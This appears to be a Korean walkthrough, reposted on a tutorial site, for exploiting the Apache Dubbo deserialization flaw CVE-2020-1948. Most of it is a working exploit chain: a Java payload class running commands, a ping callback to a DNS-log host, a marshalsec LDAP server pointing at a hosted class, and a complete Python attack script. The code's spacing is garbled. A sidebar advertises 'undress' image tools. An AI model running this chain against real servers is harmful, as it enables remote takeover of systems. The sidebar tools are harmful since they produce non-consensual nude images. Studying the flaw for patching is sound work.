Apache Dubbo 역직렬화 취약점을 분석하는 방법
소개
Dubbo는 Alibaba가 제공하는 고성능, 우수한 서비스 오픈소스 프레임워크로, 애플리케이션이 고성능 RPC를 통해 서비스 출력 및 입력 기능을 실현할 수 있도록 하며 Spring 프레임워크와 원활하게 통합될 수 있습니다. 시스템에는 원격 인터페이스 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 등록 및 서비스 검색을 포함한 세 가지 핵심 기능이 있습니다.
개요
2020년 6월 23일 Apache Dubbo는 Apache Dubbo 원격 코드 실행에 대한 위험 공지를 공식 발표했습니다. 취약점 번호는 CVE-2020-1948이며 취약점 수준은 높음입니다. Apache Dubbo는 인터페이스 지향 원격 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 서비스 등록 및 검색이라는 세 가지 핵심 기능을 제공하는 경량의 고성능 오픈 소스 Java RPC 프레임워크입니다. Apache Dubbo Provider에는 역직렬화 취약점이 있습니다. 공격자는 RPC 요청을 통해 인식할 수 없는 서비스 이름이나 메서드 이름 및 일부 악성 매개변수 페이로드를 보낼 수 있으며, 악성 매개변수가 역직렬화되면 원격 코드가 실행될 수 있습니다.
영향을 받는 버전
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x(공식적으로 더 이상 유지 관리되지 않음)
환경 설정
실행 환경과 컴파일 exp 환경 jdk 버전은 모두 8u121입니다. , 테스트 환경을 시작합니다
java -jar dubbo.jar
시작 후 포트 12345
Vulnerability recurrence
서비스 지문:
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
여기에서 ping 명령을 실행하여 명령이 실행되는지 확인합니다. 실행되고 새로운 calc.java를 생성합니다.
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
컴파일 poc
javac calc.java
컴파일된 poc(calc.class)를 웹 웹사이트 디렉토리에 넣어 취약한 호스트가 접근할 수 있도록 하세요. marshalsec 프로젝트를 사용하여 ldap 프록시 서비스를 시작하고 marshalsec을 다운로드합니다.
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
LDAP 프록시 서비스를 시작합니다. 이 명령을 실행하면 ldap 서비스가 포트 8086
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
테스트를 실행합니다. 여기서 테스트에 사용된 Python 환경은 3.8.0입니다. 먼저 종속성 패키지를 설치하세요
python3 -m pip install dubbo-py
스크립트 내용(Dubbo.py):
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
스크립트 실행
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
dnslog 뷰, 성공적으로 요청 수신
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
위 내용은 Apache Dubbo 역직렬화 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











이 글에서는 dubbo+nacos+Spring Boot의 실제 개발에 대해 이야기하기 위해 자세한 예제를 작성하겠습니다. 이 기사에서는 이론적 지식을 너무 많이 다루지는 않지만 dubbo를 nacos와 통합하여 개발 환경을 신속하게 구축하는 방법을 설명하는 가장 간단한 예를 작성합니다.

몇 마디로 시작하겠습니다. 저는 걸을 때 가끔 한 가지 질문에 대해 오랫동안 생각하다가 납득할 수 있을 때까지 끝나지 않는 경우가 많습니다. 질문의 모든 점에 대해 나 자신입니다. 그래서 나는 이러한 생각들을 기록하여 새로운 시리즈로 활용할 수 있는 기사를 만들고 싶습니다. 이 기사에서는 코드를 볼 수 없을 수도 있지만 쉽게 간과되는 몇 가지 문제와 문제의 더 깊은 "이유"를 엿볼 수 있습니다. 오늘은 첫 번째 글, 왜 Dubbo를 Go로 다시 작성해야 할까요? Alibaba에서 탄생하여 2011년에 오픈 소스로 출시된 Dubbo가 10년의 세월을 거쳤습니다. 2019년에 Go로 다시 작성되어 오픈소스화되었으며, 이제 2년이 지나서 원래 V1.0.0 버전에서 V3.0.0으로 개발되었습니다.

이미 Dubbo를 능숙하게 사용하고 계신다면 이 글은 적합하지 않지만, Dubbo를 이해하고 Dubbo를 배우고 싶다면 매우 적합할 것입니다.

서문 Dubbo를 소개하기 전에 먼저 기본 개념을 이해하겠습니다. Dubbo는 RPC 프레임워크입니다. RPC는 원격 프로시저 호출(Remote Procedure Call)이며, 그 반대는 단일 애플리케이션 아키텍처와 분산 아키텍처 이전의 수직 애플리케이션 아키텍처에서 사용됩니다. . 모두 로컬 프로시저 호출입니다. 이를 통해 프로그래머는 원격 호출의 세부 사항을 명시적으로 코딩하지 않고도 프로그램이 다른 주소 공간(일반적으로 네트워크에서 공유되는 다른 시스템)의 프로시저나 함수를 호출할 수 있습니다. 분산 아키텍처 애플리케이션 간의 원격 호출에는 원격 호출을 로컬 호출만큼 간단하게 만들기 위한 RPC 프레임워크가 필요합니다. Dubbo 프레임워크에는 원격 서비스를 호출하는 다음 구성요소인 Consumer가 있습니다.

소개 Dubbo는 Alibaba가 오픈소스로 제공하는 고성능, 우수한 서비스 프레임워크로, 애플리케이션이 고성능 RPC를 통해 서비스 출력 및 입력 기능을 실현할 수 있도록 하며 Spring 프레임워크와 원활하게 통합될 수 있습니다. 인터페이스 지향 원격 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 서비스 등록 및 검색이라는 세 가지 핵심 기능을 제공합니다. 개요 2020년 6월 23일, ApacheDubbo는 ApacheDubbo 원격 코드 실행에 대한 위험 공지를 공식적으로 발표했습니다. 취약점 번호는 CVE-2020-1948이며 취약점 수준은 높음입니다. ApacheDubbo는 고성능 경량 오픈 소스 JavaRPC 프레임워크로 인터페이스 지향 원격이라는 세 가지 핵심 기능을 제공합니다.

SPI는 어디에 사용되나요? 예를 들어, 이제 우리는 "슈퍼로거"라는 새로운 로깅 프레임워크를 설계했습니다. 기본적으로 XML 파일은 로그의 구성 파일로 사용되며 구성 파일 구문 분석을 위한 인터페이스가 설계되었습니다. packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} 그런 다음 기본 XML 구현이 있습니다. .github .kongwu.spisamples;publiccl

1. Dubbo 통화 관계 설명 1.1 여기의 구성 요소는 주로 네 부분으로 구성됩니다: 공급자: 서비스를 노출하는 서비스 공급자 프로토콜: 공급자와 소비자 간의 프로토콜 상호 작용 데이터를 담당합니다. 인터페이스 및 구현 컨테이너 : Dubbo의 운영 환경 컨슈머 : 원격 서비스를 호출하는 서비스 컨슈머 프로토콜 : 프로바이더와 컨슈머 사이의 프로토콜 상호작용 데이터를 담당 클러스터 : 프로바이더 측에서 목록 정보를 인지함 프록시 : 가능 Consumer의 인터페이스 호출 로직을 대신하는 공급자의 서비스 호출 에이전트로 이해됩니다. ●Register: 등록

dockerpullzookeeperdockerrun --namezk01-p2181:2181--restartalways-d2e30cac00aca는 Zookeeper가 Zookeeper 및 Dubbo를 성공적으로 시작했음을 나타냅니다. • ZooKeeperZooKeeper는 분산형 오픈 소스 분산 애플리케이션 조정 서비스입니다. 분산 애플리케이션에 일관된 서비스를 제공하는 소프트웨어입니다. 제공되는 기능에는 구성 유지 관리, 도메인 이름 서비스, 분산 동기화, 그룹 서비스 등이 있습니다. DubboDubbo는 Alibaba의 오픈소스 분산 서비스 프레임워크로, 계층적으로 구성되어 있다는 점이 가장 큰 특징입니다.
